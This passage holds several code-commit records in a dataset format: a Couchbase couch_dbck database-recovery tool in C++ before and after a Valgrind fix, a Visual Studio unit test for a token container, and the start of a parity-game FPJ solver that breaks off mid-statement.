PRIu64\n \"\\n\";\n }\n\n fprintf(stdout, fmt.c_str(),\n get_printable_string(doc_info->id).c_str(),\n doc_info->bp,\n doc_info->size,\n doc_info->db_seq);\n }\n\n couchstore_save_document(param->db_dst,\n cur_doc,\n (DocInfo*)doc_info,\n COUCHSTORE_SEQUENCE_AS_IS);\n param->num_docs_recovered++;\n couchstore_free_document(cur_doc);\n } else {\n couchstore_free_docinfo(doc_info_dst);\n }\n return 0;\n}\n\nstatic void rewind_and_get_stale_data(rewind_request& rq) {\n couchstore_error_t errcode;\n size_t num_rewind = 0;\n Db *db = nullptr;\n\n errcode = couchstore_open_db_ex(rq.options->src_filename.c_str(),\n COUCHSTORE_OPEN_FLAG_RDONLY,\n couchstore_get_default_file_ops(),\n &db);\n\n while (errcode == COUCHSTORE_SUCCESS) {\n errcode = couchstore_rewind_db_header(db);\n if (errcode != COUCHSTORE_SUCCESS) {\n db = nullptr;\n break;\n }\n num_rewind++;\n\n rewind_hook_param rewind_param;\n rewind_param.options = rq.options;\n rewind_param.db_dst = rq.db_recovered;\n rewind_param.db_src = rq.db_src;\n\n \/\/ Walk ID tree and find any documents\n \/\/ that exist in stale commit only.\n couchstore_walk_id_tree(db,\n nullptr,\n COUCHSTORE_TOLERATE_CORRUPTION,\n rewind_hook,\n &rewind_param);\n if (rewind_param.num_docs_recovered) {\n fprintf(stderr, \"%\" PRIu64 \" documents recovered \"\n \"from stale header #%zu.\\n\",\n rewind_param.num_docs_recovered,\n num_rewind);\n rq.total_num_docs_recovered += rewind_param.num_docs_recovered;\n }\n };\n\n if (!num_rewind) {\n fprintf(stderr, \"No stale header to read.\\n\");\n }\n\n if (db) {\n couchstore_close_file(db);\n couchstore_free_db(db);\n }\n}\n\nstatic int recover_file(recovery_options& options) {\n fprintf(stderr, \"Recover from file %s to file %s\\n\",\n options.src_filename.c_str(),\n options.dst_filename.c_str());\n\n if (options.src_filename == options.dst_filename) {\n \/\/ Both filenames shouldn't be the same.\n usage();\n }\n\n \/\/ Source (may be corrupted) DB.\n Db *db_src = nullptr;\n \/\/ DB after recovery.\n Db *db_recovered = nullptr;\n \/\/ Another handle for source DB.\n Db *db_src_alt = nullptr;\n\n couchstore_error_t errcode = COUCHSTORE_SUCCESS;\n couchstore_error_t errcode_compaction = COUCHSTORE_SUCCESS;\n bool error_detected = false;\n\n recover_file_hook_param param;\n param.options = &options;\n\n \/\/ Open source file.\n errcode = couchstore_open_db_ex(options.src_filename.c_str(),\n COUCHSTORE_OPEN_FLAG_RDONLY,\n couchstore_get_default_file_ops(),\n &db_src);\n error_pass(errcode);\n\n \/\/ Open source file for rewind.\n errcode = couchstore_open_db_ex(options.src_filename.c_str(),\n COUCHSTORE_OPEN_FLAG_RDONLY,\n couchstore_get_default_file_ops(),\n &db_src_alt);\n error_pass(errcode);\n param.db_src = db_src_alt;\n\n \/\/ Compact with recovery mode.\n errcode_compaction = couchstore_compact_db_ex(\n db_src,\n options.dst_filename.c_str(),\n COUCHSTORE_COMPACT_RECOVERY_MODE,\n recover_file_hook,\n nullptr,\n ¶m,\n couchstore_get_default_file_ops());\n\n \/\/ Open recovered file.\n errcode = couchstore_open_db_ex(options.dst_filename.c_str(),\n 0x0,\n couchstore_get_default_file_ops(),\n &db_recovered);\n DbInfo dbinfo;\n couchstore_db_info(db_recovered, &dbinfo);\n\n if (errcode_compaction == COUCHSTORE_SUCCESS) {\n fprintf(stderr, \"No corruption detected in index.\\n\");\n } else {\n fprintf(stderr,\n \"Corrupted index node detected \"\n \"(error code %d, %s).\\n\",\n errcode_compaction,\n couchstore_strerror(errcode_compaction));\n error_detected = true;\n }\n fprintf(stderr, \"Total %\" PRIu64 \" documents are referred to by index.\\n\",\n param.num_visited_docs);\n\n if (param.num_corrupted_docs) {\n fprintf(stderr, \"Total %\" PRIu64 \" documents corrupted.\\n\",\n param.num_corrupted_docs);\n error_detected = true;\n } else {\n fprintf(stderr, \"No corruption detected in documents.\\n\");\n }\n\n fprintf(stderr, \"Total %\" PRIu64 \" documents recovered.\\n\",\n dbinfo.doc_count);\n\n \/\/ If error detected, and flag is set, traverse stale commits.\n if (error_detected && options.enable_rewind) {\n rewind_request rwrq;\n rwrq.options = &options;\n rwrq.db_recovered = db_recovered;\n rwrq.db_src = db_src_alt;\n\n fprintf(stderr,\n \"We are going to recover missing documents \"\n \"from stale commits..\\n\");\n rewind_and_get_stale_data(rwrq);\n\n if (rwrq.total_num_docs_recovered) {\n fprintf(stderr,\n \"Total %\" PRIu64 \" documents recovered \"\n \"from stale headers.\\n\",\n rwrq.total_num_docs_recovered);\n error_pass(couchstore_commit(db_recovered));\n }\n }\n\ncleanup:\n if (db_src) {\n couchstore_close_file(db_src);\n couchstore_free_db(db_src);\n }\n if (db_recovered) {\n couchstore_close_file(db_recovered);\n couchstore_free_db(db_recovered);\n }\n if (db_src_alt) {\n couchstore_close_file(db_src_alt);\n couchstore_free_db(db_src_alt);\n }\n\n return errcode;\n}\n\nint main(int argc, char **argv)\n{\n struct option long_options[] =\n {\n {\"stale\", no_argument, 0, 's'},\n {\"verbose\", no_argument, 0, 'v'},\n {\"json\", no_argument, 0, 'j'},\n {nullptr, 0, 0, 0}\n };\n\n recovery_options options;\n int opt;\n\n while ( (opt = getopt_long(argc, argv, \"svj\",\n long_options, nullptr)) != -1 ) {\n switch (opt) {\n case 's': \/\/ stale\n options.enable_rewind = true;\n break;\n case 'v': \/\/ verbose\n options.verbose_msg = true;\n break;\n case 'j': \/\/ json\n options.json = true;\n break;\n\n default:\n usage();\n }\n }\n\n if (argc - optind < 1) {\n \/\/ After option fields, one or two more fields\n \/\/ (for src\/dst files) should exist.\n usage();\n }\n\n options.src_filename = argv[optind];\n if (argc - optind == 1) {\n \/\/ Destination file name is not given, automatically set it.\n options.dst_filename = options.src_filename + \".recovered\";\n } else {\n options.dst_filename = argv[optind+1];\n }\n\n int errcode = recover_file(options);\n\n if (errcode == 0) {\n exit(EXIT_SUCCESS);\n } else {\n exit(EXIT_FAILURE);\n }\n}\n\n<commit_msg>Fix Valgrind error in dbck<commit_after>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n * Copyright 2017 Couchbase, Inc\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"config.h\"\n#include \"couch_btree.h\"\n#include \"internal.h\"\n#include \"util.h\"\n\n#include <libcouchstore\/couch_db.h>\n#include <platform\/cb_malloc.h>\n\n#include <getopt.h>\n#include <inttypes.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <iomanip>\n#include <string>\n#include <sstream>\n\nstatic void usage(void) {\n printf(\"USAGE: couch_dbck [options] \"\n \"source_filename [destination_filename]\\n\");\n printf(\"\\nOptions:\\n\");\n printf(\" -s, --stale \"\n \"Recover from stale commits if corruption detected.\\n\");\n printf(\" -v, --verbose \"\n \"Display detailed messages.\\n\");\n printf(\" -j, --json \"\n \"Display corrupt document info as JSON objects \"\n \"(one per line).\\n\");\n exit(EXIT_FAILURE);\n}\n\nstruct recovery_options {\n \/\/ Source file name.\n std::string src_filename;\n \/\/ Destination (recovered) file name.\n std::string dst_filename;\n \/\/ If set, check whether or not doc body is corrupted.\n bool detect_corrupt_docbody = true;\n \/\/ If set, recover using old data from stale commits.\n bool enable_rewind = false;\n \/\/ If set, print out detailed messages.\n bool verbose_msg = false;\n \/\/ If set, print verbose messages as JSON objects.\n bool json = false;\n};\n\nstruct recover_file_hook_param {\n \/\/ Number of documents referred to by index.\n uint64_t num_visited_docs = 0;\n \/\/ Number of corrupted documents.\n uint64_t num_corrupted_docs = 0;\n \/\/ Recovery options.\n recovery_options* options = nullptr;\n \/\/ DB handle for source file.\n Db* db_src = nullptr;\n};\n\nstd::string get_printable_string(const sized_buf& buf) {\n std::string ret;\n for (size_t i=0; i<buf.size; ++i) {\n if (0x20 <= buf.buf[i] && buf.buf[i] <= 0x7d) {\n \/\/ Printable character.\n ret += buf.buf[i];\n } else {\n \/\/ Otherwise: dump hex.\n std::stringstream ss;\n ss << \"(0x\" << std::setfill('0') << std::setw(2)\n << std::hex << static_cast<size_t>(buf.buf[i]) << \") \";\n ret += ss.str();\n }\n }\n return ret;\n}\n\nstatic int recover_file_hook(Db* target,\n DocInfo *docinfo,\n sized_buf item,\n void *ctx) {\n (void)item;\n recover_file_hook_param* param =\n reinterpret_cast<recover_file_hook_param*>(ctx);\n if (!docinfo) {\n \/\/ End of compaction.\n return 0;\n }\n\n param->num_visited_docs++;\n\n couchstore_error_t errcode;\n Doc* cur_doc;\n\n if (docinfo->deleted) {\n \/\/ Deleted doc.\n return 0;\n }\n\n \/\/ Open doc body.\n errcode = couchstore_open_doc_with_docinfo(\n param->db_src, docinfo, &cur_doc, 0x0);\n if (errcode != COUCHSTORE_SUCCESS) {\n \/\/ Document is corrupted.\n if (param->options->verbose_msg) {\n std::string fmt;\n if (param->options->json) {\n fmt = \"{\"\n R\"(\"type\":\"corrupted document\",)\"\n R\"(\"error code\":%d,)\"\n R\"(\"error message\":\"%s\",)\"\n R\"(\"id\":\"%s\",)\"\n R\"(\"bp\")\" \":%\" PRIu64 \",\"\n R\"(\"size\":%zu,)\"\n R\"(\"seq\")\" \":%\" PRIu64\n \"}\\n\";\n } else {\n fmt = \"Corrupted document \"\n \"(error code %d, %s): \"\n \"id '%s', \"\n \"bp %\" PRIu64 \", \"\n \"size %zu, \"\n \"seq %\" PRIu64\n \"\\n\";\n }\n\n fprintf(stdout, fmt.c_str(),\n errcode, couchstore_strerror(errcode),\n get_printable_string(docinfo->id).c_str(),\n docinfo->bp,\n docinfo->size,\n docinfo->db_seq);\n }\n param->num_corrupted_docs++;\n } else {\n couchstore_free_document(cur_doc);\n }\n\n return 0;\n}\n\nstruct rewind_request {\n \/\/ Recovery options.\n recovery_options* options = nullptr;\n \/\/ DB handle for source file.\n Db *db_src = nullptr;\n \/\/ DB handle for recovered file.\n Db *db_recovered = nullptr;\n \/\/ Total number of old documents recovered from all stale commits.\n uint64_t total_num_docs_recovered = 0;\n};\n\nstruct rewind_hook_param {\n \/\/ Recovery options.\n recovery_options* options = nullptr;\n \/\/ DB handle for source file.\n Db *db_src = nullptr;\n \/\/ DB handle for recovered file.\n Db *db_dst = nullptr;\n \/\/ Number of documents recovered from this specific commit.\n uint64_t num_docs_recovered = 0;\n};\n\nstatic int rewind_hook(Db *db,\n int depth,\n const DocInfo* doc_info,\n uint64_t subtree_size,\n const sized_buf* reduce_value,\n void *ctx) {\n rewind_hook_param* param =\n reinterpret_cast<rewind_hook_param*>(ctx);\n if (!doc_info) {\n return 0;\n }\n\n DocInfo* doc_info_dst;\n couchstore_error_t errcode;\n errcode = couchstore_docinfo_by_id(param->db_dst,\n doc_info->id.buf,\n doc_info->id.size,\n &doc_info_dst);\n if (errcode != COUCHSTORE_SUCCESS) {\n \/\/ The doc exists in stale commit (of corrupted file) only.\n \/\/ Copy it into the destination file.\n Doc* cur_doc;\n errcode = couchstore_open_doc_with_docinfo(\n param->db_src, (DocInfo*)doc_info, &cur_doc, 0x0);\n if (errcode != COUCHSTORE_SUCCESS) {\n return 0;\n }\n\n if (param->options->verbose_msg) {\n std::string fmt;\n if (param->options->json) {\n fmt = \"{\"\n R\"(\"type\":\"recovered document\",)\"\n R\"(\"id\":\"%s\",)\"\n R\"(\"bp\")\" \":%\" PRIu64 \",\"\n R\"(\"size\")\" \":%zu,\"\n R\"(\"seq\")\" \":%\" PRIu64\n \"}\\n\";\n } else {\n fmt = \"Recovered document '%s', \"\n \"prev bp %\" PRIu64 \", \"\n \"prev size %zu, \"\n \"prev seq num %\" PRIu64\n \"\\n\";\n }\n\n fprintf(stdout, fmt.c_str(),\n get_printable_string(doc_info->id).c_str(),\n doc_info->bp,\n doc_info->size,\n doc_info->db_seq);\n }\n\n couchstore_save_document(param->db_dst,\n cur_doc,\n (DocInfo*)doc_info,\n COUCHSTORE_SEQUENCE_AS_IS);\n param->num_docs_recovered++;\n couchstore_free_document(cur_doc);\n } else {\n couchstore_free_docinfo(doc_info_dst);\n }\n return 0;\n}\n\nstatic void rewind_and_get_stale_data(rewind_request& rq) {\n couchstore_error_t errcode;\n size_t num_rewind = 0;\n Db *db = nullptr;\n\n errcode = couchstore_open_db_ex(rq.options->src_filename.c_str(),\n COUCHSTORE_OPEN_FLAG_RDONLY,\n couchstore_get_default_file_ops(),\n &db);\n\n while (errcode == COUCHSTORE_SUCCESS) {\n errcode = couchstore_rewind_db_header(db);\n if (errcode != COUCHSTORE_SUCCESS) {\n db = nullptr;\n break;\n }\n num_rewind++;\n\n rewind_hook_param rewind_param;\n rewind_param.options = rq.options;\n rewind_param.db_dst = rq.db_recovered;\n rewind_param.db_src = rq.db_src;\n\n \/\/ Walk ID tree and find any documents\n \/\/ that exist in stale commit only.\n couchstore_walk_id_tree(db,\n nullptr,\n COUCHSTORE_TOLERATE_CORRUPTION,\n rewind_hook,\n &rewind_param);\n if (rewind_param.num_docs_recovered) {\n fprintf(stderr, \"%\" PRIu64 \" documents recovered \"\n \"from stale header #%zu.\\n\",\n rewind_param.num_docs_recovered,\n num_rewind);\n rq.total_num_docs_recovered += rewind_param.num_docs_recovered;\n }\n };\n\n if (!num_rewind) {\n fprintf(stderr, \"No stale header to read.\\n\");\n }\n\n if (db) {\n couchstore_close_file(db);\n couchstore_free_db(db);\n }\n}\n\nstatic int recover_file(recovery_options& options) {\n fprintf(stderr, \"Recover from file %s to file %s\\n\",\n options.src_filename.c_str(),\n options.dst_filename.c_str());\n\n if (options.src_filename == options.dst_filename) {\n \/\/ Both filenames shouldn't be the same.\n usage();\n }\n\n \/\/ Source (may be corrupted) DB.\n Db *db_src = nullptr;\n \/\/ DB after recovery.\n Db *db_recovered = nullptr;\n \/\/ Another handle for source DB.\n Db *db_src_alt = nullptr;\n\n couchstore_error_t errcode = COUCHSTORE_SUCCESS;\n couchstore_error_t errcode_compaction = COUCHSTORE_SUCCESS;\n bool error_detected = false;\n\n recover_file_hook_param param;\n param.options = &options;\n\n \/\/ Open source file.\n errcode = couchstore_open_db_ex(options.src_filename.c_str(),\n COUCHSTORE_OPEN_FLAG_RDONLY,\n couchstore_get_default_file_ops(),\n &db_src);\n error_pass(errcode);\n\n \/\/ Open source file for rewind.\n errcode = couchstore_open_db_ex(options.src_filename.c_str(),\n COUCHSTORE_OPEN_FLAG_RDONLY,\n couchstore_get_default_file_ops(),\n &db_src_alt);\n error_pass(errcode);\n param.db_src = db_src_alt;\n\n \/\/ Compact with recovery mode.\n errcode_compaction = couchstore_compact_db_ex(\n db_src,\n options.dst_filename.c_str(),\n COUCHSTORE_COMPACT_RECOVERY_MODE,\n recover_file_hook,\n nullptr,\n ¶m,\n couchstore_get_default_file_ops());\n\n \/\/ Open recovered file.\n errcode = couchstore_open_db_ex(options.dst_filename.c_str(),\n 0x0,\n couchstore_get_default_file_ops(),\n &db_recovered);\n DbInfo dbinfo;\n couchstore_db_info(db_recovered, &dbinfo);\n\n if (errcode_compaction == COUCHSTORE_SUCCESS) {\n fprintf(stderr, \"No corruption detected in index.\\n\");\n } else {\n fprintf(stderr,\n \"Corrupted index node detected \"\n \"(error code %d, %s).\\n\",\n errcode_compaction,\n couchstore_strerror(errcode_compaction));\n error_detected = true;\n }\n fprintf(stderr, \"Total %\" PRIu64 \" documents are referred to by index.\\n\",\n param.num_visited_docs);\n\n if (param.num_corrupted_docs) {\n fprintf(stderr, \"Total %\" PRIu64 \" documents corrupted.\\n\",\n param.num_corrupted_docs);\n error_detected = true;\n } else {\n fprintf(stderr, \"No corruption detected in documents.\\n\");\n }\n\n fprintf(stderr, \"Total %\" PRIu64 \" documents recovered.\\n\",\n dbinfo.doc_count);\n\n \/\/ If error detected, and flag is set, traverse stale commits.\n if (error_detected && options.enable_rewind) {\n rewind_request rwrq;\n rwrq.options = &options;\n rwrq.db_recovered = db_recovered;\n rwrq.db_src = db_src_alt;\n\n fprintf(stderr,\n \"We are going to recover missing documents \"\n \"from stale commits..\\n\");\n rewind_and_get_stale_data(rwrq);\n\n if (rwrq.total_num_docs_recovered) {\n fprintf(stderr,\n \"Total %\" PRIu64 \" documents recovered \"\n \"from stale headers.\\n\",\n rwrq.total_num_docs_recovered);\n error_pass(couchstore_commit(db_recovered));\n }\n }\n\ncleanup:\n if (db_src) {\n couchstore_close_file(db_src);\n couchstore_free_db(db_src);\n }\n if (db_recovered) {\n couchstore_close_file(db_recovered);\n couchstore_free_db(db_recovered);\n }\n if (db_src_alt) {\n couchstore_close_file(db_src_alt);\n couchstore_free_db(db_src_alt);\n }\n\n return errcode;\n}\n\nint main(int argc, char **argv)\n{\n struct option long_options[] =\n {\n {\"stale\", no_argument, 0, 's'},\n {\"verbose\", no_argument, 0, 'v'},\n {\"json\", no_argument, 0, 'j'},\n {nullptr, 0, 0, 0}\n };\n\n recovery_options options;\n int opt;\n\n while ( (opt = getopt_long(argc, argv, \"svj\",\n long_options, nullptr)) != -1 ) {\n switch (opt) {\n case 's': \/\/ stale\n options.enable_rewind = true;\n break;\n case 'v': \/\/ verbose\n options.verbose_msg = true;\n break;\n case 'j': \/\/ json\n options.json = true;\n break;\n\n default:\n usage();\n }\n }\n\n if (argc - optind < 1) {\n \/\/ After option fields, one or two more fields\n \/\/ (for src\/dst files) should exist.\n usage();\n }\n\n options.src_filename = argv[optind];\n if (argc - optind == 1) {\n \/\/ Destination file name is not given, automatically set it.\n options.dst_filename = options.src_filename + \".recovered\";\n } else {\n options.dst_filename = argv[optind+1];\n }\n\n int errcode = recover_file(options);\n\n if (errcode == 0) {\n return EXIT_SUCCESS;\n } else {\n return EXIT_FAILURE;\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"CppUnitTest.h\"\n#include <string>\n#include <vector>\n#include <array>\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\nusing namespace std;\n\nnamespace algo\n{\n template<class Traits>\n class tokens\n {\n typedef vector<typename Traits::type> token_vector;\n token_vector tokens_;\n\n public:\n typedef typename token_vector::iterator iterator;\n typedef typename token_vector::const_iterator const_iterator;\n typedef typename Traits::type token_type;\n\n tokens() {}\n explicit tokens(size_t count) : tokens_(count) {}\n tokens(std::initializer_list<token_type> init) : tokens_(init) {}\n bool empty() const { return tokens_.size() == 0; }\n size_t size() const { return tokens_.size(); }\n token_type& operator[](size_t i) { return tokens_[i]; };\n const token_type& operator[](size_t i) const { return const_cast<tokens&>(*this)[i]; };\n\n iterator begin() { return tokens_.begin(); }\n const_iterator begin() const { return tokens_.begin(); }\n const_iterator cbegin() const { return tokens_.cbegin(); }\n iterator end() { return tokens_.end(); }\n const_iterator end() const { return tokens_.end(); }\n const_iterator cend() const { return tokens_.cend(); }\n\n void from_string(string s)\n {\n auto newTokens = Traits::tokenize(s);\n tokens_.insert(tokens_.end(), newTokens.begin(), newTokens.end());\n }\n };\n}\n\nnamespace algo { namespace spec\n{\n struct s { string val; };\n\n template<size_t N>\n struct test_token_traits\n {\n typedef s type;\n static array<s, N> tokenize(const string&) { return array<s, N>(); }\n };\n\n template<size_t N>\n using test_tokens = tokens<test_token_traits<N>>;\n\n TEST_CLASS(can_recognize_tokens)\n\t{\n\tpublic:\n\n TEST_METHOD(should_not_have_any_tokens_when_default_constructed)\n\t\t{\n test_tokens<0> testTokens;\n Assert::IsTrue(testTokens.empty());\n\t\t}\n\n TEST_METHOD(should_recognize_a_token_in_a_string)\n {\n test_tokens<1> testTokens;\n testTokens.from_string(\"irrelevant\");\n Assert::IsFalse(testTokens.empty());\n }\n\n TEST_METHOD(should_recognize_more_than_one_token_in_a_string)\n {\n test_tokens<3> testTokens;\n testTokens.from_string(\"irrelevant\");\n Assert::AreEqual(3U, testTokens.size());\n }\n\n TEST_METHOD(should_accumulate_tokens_from_successive_strings)\n {\n test_tokens<2> testTokens(3);\n testTokens.from_string(\"irrelevant\");\n Assert::AreEqual(5U, testTokens.size());\n }\n\n TEST_METHOD(should_be_able_to_enumerate_tokens)\n {\n test_tokens<0> testTokens(3);\n size_t i = 0;\n for (s tok : testTokens) { ++i; }\n Assert::AreEqual(3U, i);\n }\n\n TEST_METHOD(should_be_able_to_enumerate_const_tokens_from_a_const_container)\n {\n const test_tokens<0> testTokens(3);\n size_t i = 0;\n for (const s tok : testTokens) { ++i; }\n Assert::AreEqual(3U, i);\n }\n\n TEST_METHOD(should_be_able_to_enumerate_const_tokens_from_a_non_const_container)\n {\n typedef test_tokens<0>::const_iterator const_iter;\n test_tokens<0> testTokens(3);\n size_t i = 0;\n for (const_iter it = testTokens.cbegin(); it != testTokens.cend(); ++it) { ++i; }\n Assert::AreEqual(3U, i);\n }\n\n TEST_METHOD(should_be_able_to_access_tokens_by_their_index)\n {\n test_tokens<0> testTokens = { { \"one\" }, { \"two\" }, { \"three\" } };\n Assert::AreEqual(\"one\", testTokens[0].val.c_str());\n Assert::AreEqual(\"two\", testTokens[1].val.c_str());\n Assert::AreEqual(\"three\", testTokens[2].val.c_str());\n }\n\n TEST_METHOD(should_be_able_to_access_tokens_from_a_const_container_by_ther_index)\n {\n const test_tokens<0> testTokens = { { \"one\" } };\n Assert::AreEqual(\"one\", testTokens[0].val.c_str());\n }\n\n };\n}}\n<commit_msg>rename a test<commit_after>#include \"CppUnitTest.h\"\n#include <string>\n#include <vector>\n#include <array>\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\nusing namespace std;\n\nnamespace algo\n{\n template<class Traits>\n class tokens\n {\n typedef vector<typename Traits::type> token_vector;\n token_vector tokens_;\n\n public:\n typedef typename token_vector::iterator iterator;\n typedef typename token_vector::const_iterator const_iterator;\n typedef typename Traits::type token_type;\n\n tokens() {}\n explicit tokens(size_t count) : tokens_(count) {}\n tokens(std::initializer_list<token_type> init) : tokens_(init) {}\n bool empty() const { return tokens_.size() == 0; }\n size_t size() const { return tokens_.size(); }\n token_type& operator[](size_t i) { return tokens_[i]; };\n const token_type& operator[](size_t i) const { return const_cast<tokens&>(*this)[i]; };\n\n iterator begin() { return tokens_.begin(); }\n const_iterator begin() const { return tokens_.begin(); }\n const_iterator cbegin() const { return tokens_.cbegin(); }\n iterator end() { return tokens_.end(); }\n const_iterator end() const { return tokens_.end(); }\n const_iterator cend() const { return tokens_.cend(); }\n\n void from_string(string s)\n {\n auto newTokens = Traits::tokenize(s);\n tokens_.insert(tokens_.end(), newTokens.begin(), newTokens.end());\n }\n };\n}\n\nnamespace algo { namespace spec\n{\n struct s { string val; };\n\n template<size_t N>\n struct test_token_traits\n {\n typedef s type;\n static array<s, N> tokenize(const string&) { return array<s, N>(); }\n };\n\n template<size_t N>\n using test_tokens = tokens<test_token_traits<N>>;\n\n TEST_CLASS(can_recognize_tokens)\n\t{\n\tpublic:\n\n TEST_METHOD(should_not_have_any_tokens_when_default_constructed)\n\t\t{\n test_tokens<0> testTokens;\n Assert::IsTrue(testTokens.empty());\n\t\t}\n\n TEST_METHOD(should_recognize_a_token_in_a_string)\n {\n test_tokens<1> testTokens;\n testTokens.from_string(\"irrelevant\");\n Assert::AreEqual(1U, testTokens.size());\n }\n\n TEST_METHOD(should_recognize_more_than_one_token_in_a_string)\n {\n test_tokens<3> testTokens;\n testTokens.from_string(\"irrelevant\");\n Assert::AreEqual(3U, testTokens.size());\n }\n\n TEST_METHOD(should_accumulate_tokens_from_successive_strings)\n {\n test_tokens<2> testTokens(3);\n testTokens.from_string(\"irrelevant\");\n Assert::AreEqual(5U, testTokens.size());\n }\n\n TEST_METHOD(should_be_able_to_enumerate_tokens)\n {\n test_tokens<0> testTokens(3);\n size_t i = 0;\n for (s tok : testTokens) { ++i; }\n Assert::AreEqual(3U, i);\n }\n\n TEST_METHOD(should_be_able_to_enumerate_const_tokens_from_a_const_container)\n {\n const test_tokens<0> testTokens(3);\n size_t i = 0;\n for (const s tok : testTokens) { ++i; }\n Assert::AreEqual(3U, i);\n }\n\n TEST_METHOD(should_be_able_to_enumerate_const_tokens_from_a_non_const_container)\n {\n typedef test_tokens<0>::const_iterator const_iter;\n test_tokens<0> testTokens(3);\n size_t i = 0;\n for (const_iter it = testTokens.cbegin(); it != testTokens.cend(); ++it) { ++i; }\n Assert::AreEqual(3U, i);\n }\n\n TEST_METHOD(should_be_able_to_access_tokens_by_their_index)\n {\n test_tokens<0> testTokens = { { \"one\" }, { \"two\" }, { \"three\" } };\n Assert::AreEqual(\"one\", testTokens[0].val.c_str());\n Assert::AreEqual(\"two\", testTokens[1].val.c_str());\n Assert::AreEqual(\"three\", testTokens[2].val.c_str());\n }\n\n TEST_METHOD(should_be_able_to_access_tokens_from_a_const_container_by_ther_index)\n {\n const test_tokens<0> testTokens = { { \"one\" } };\n Assert::AreEqual(\"one\", testTokens[0].val.c_str());\n }\n\n };\n}}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2020 Tom van Dijk\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <cassert>\n#include <cstring>\n#include <queue>\n#include <stack>\n\n#include \"fpj.hpp\"\n#include \"uintqueue.hpp\"\n\nnamespace pg {\n\nFPJSolver::FPJSolver(Oink *oink, Game *game) : Solver(oink, game)\n{\n}\n\nFPJSolver::~FPJSolver()\n{\n}\n\n\/**\n * Variation 1: greedy justification\n *\/\nvoid\nFPJSolver::runSeqGreedy()\n{\n \/**\n * Allocate and initialize data structures\n *\/\n\n int *strategy = new int[nodecount()]; \/\/ the current strategy\n bitset justified(nodecount()); \/\/ whether a vertex is justified\n bitset distraction(nodecount()); \/\/ whether a vertex is won by the opponent\n\n bitset parity(nodecount()); \/\/ optimization: precompute the parity of every vertex's priority\n for (int v=0; v<nodecount(); v++) parity[v] = priority(v)&1;\n\n uintqueue Q(nodecount());\n\n \/**\n * Initialize loop\n *\/\n\n int cur_parity = parity[0]; \/\/ parity of current block\n int i = 0; \/\/ the current vertex\n\n for (;;) {\n \/**\n * First detect if we are at the end of a block (vertices of same parity)\n *\/\n bool blockended = false;\n if (i == nodecount()) {\n blockended = true;\n } else {\n if (disabled[i]) { i++; continue; }\n if (parity[i] != cur_parity) blockended = true;\n }\n\n if (blockended) {\n if (Q.nonempty()) {\n \/**\n * First set as distraction\n *\/\n for (unsigned int n=0; n<Q.size(); n++) distraction[Q[n]] = true;\n \/**\n * We have to reset all justified vertices that are now no longer justified...\n *\/\n while (!Q.empty()) {\n const int v = Q.pop();\n for (auto curedge = ins(v); *curedge != -1; curedge++) {\n const int from = *curedge;\n if (justified[from] and (strategy[from] == -1 or strategy[from] == v)) {\n#ifndef NDEBUG\n if (trace >= 2) logger << \"\\033[31;1mresetting\\033[m \" << label_vertex(from) << std::endl;\n#endif\n justified[from] = false;\n distraction[from] = false; \/\/ reset it\n Q.push(from);\n if (from < i) i = from; \/\/ afterwards, continue at lowest unjustified vertex\n }\n }\n }\n#ifndef NDEBUG\n if (trace) logger << \"restarting after finding distractions of prio \" << priority(i-1) << std::endl;\n#endif\n iterations++;\n }\n\n if (i == nodecount()) break; \/\/ in case the last block didn't result in unjustifications\n\n \/\/ continue with the new block, update the current parity\n cur_parity = parity[i];\n }\n\n \/\/ if the current vertex is justified, we don't need to check it\n if (justified[i]) { i++; continue; }\n justified[i] = true;\n\n \/\/ compute one step winner of <i> and update the strategy\n int onestep_winner, str = -1;\n if (owner(i) == 0) {\n \/\/ see if player Even can go to a vertex currently good for Even\n onestep_winner = 1;\n for (auto curedge = outs(i); *curedge != -1; curedge++) {\n int to = *curedge;\n if (disabled[to]) continue;\n const int winner_to = parity[to] ^ distraction[to];\n if (winner_to == 0) {\n \/\/ good for player Even\n onestep_winner = 0;\n \/\/ and set the strategy\n str = to;\n break;\n }\n }\n } else {\n \/\/ see if player Odd can go to a vertex currently good for Odd\n onestep_winner = 0;\n for (auto curedge = outs(i); *curedge != -1; curedge++) {\n int to = *curedge;\n if (disabled[to]) continue;\n const int winner_to = parity[to] ^ distraction[to];\n if (winner_to == 1) {\n \/\/ good for player Odd\n onestep_winner = 1;\n \/\/ and set the strategy\n str = to;\n break;\n }\n }\n }\n\n strategy[i] = str;\n\n \/\/ evaluation stays the same\n if (cur_parity != onestep_winner) {\n Q.push(i); \/\/ add to Q\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified*\\033[m \" << label_vertex(i);\n if (strategy[i] != -1) logger << \" => \" << label_vertex(strategy[i]);\n logger << std::endl;\n }\n#endif\n } else {\n#ifndef NDEBUG\n if (trace >= 2) {\n logger << \"\\033[38;5;165;1mjustified\\033[m \" << label_vertex(i);\n if (strategy[i] != -1) logger << \" => \" << label_vertex(strategy[i]);\n logger << std::endl;\n }\n#endif\n }\n\n i++;\n }\n\n \/\/ done\n for (int v=0; v<nodecount(); v++) {\n if (disabled[v]) continue;\n const int winner = parity[v] ^ distraction[v];\n oink->solve(v, winner, winner == owner(v) ? strategy[v] : -1);\n }\n\n \/\/ free allocated data structures\n delete[] 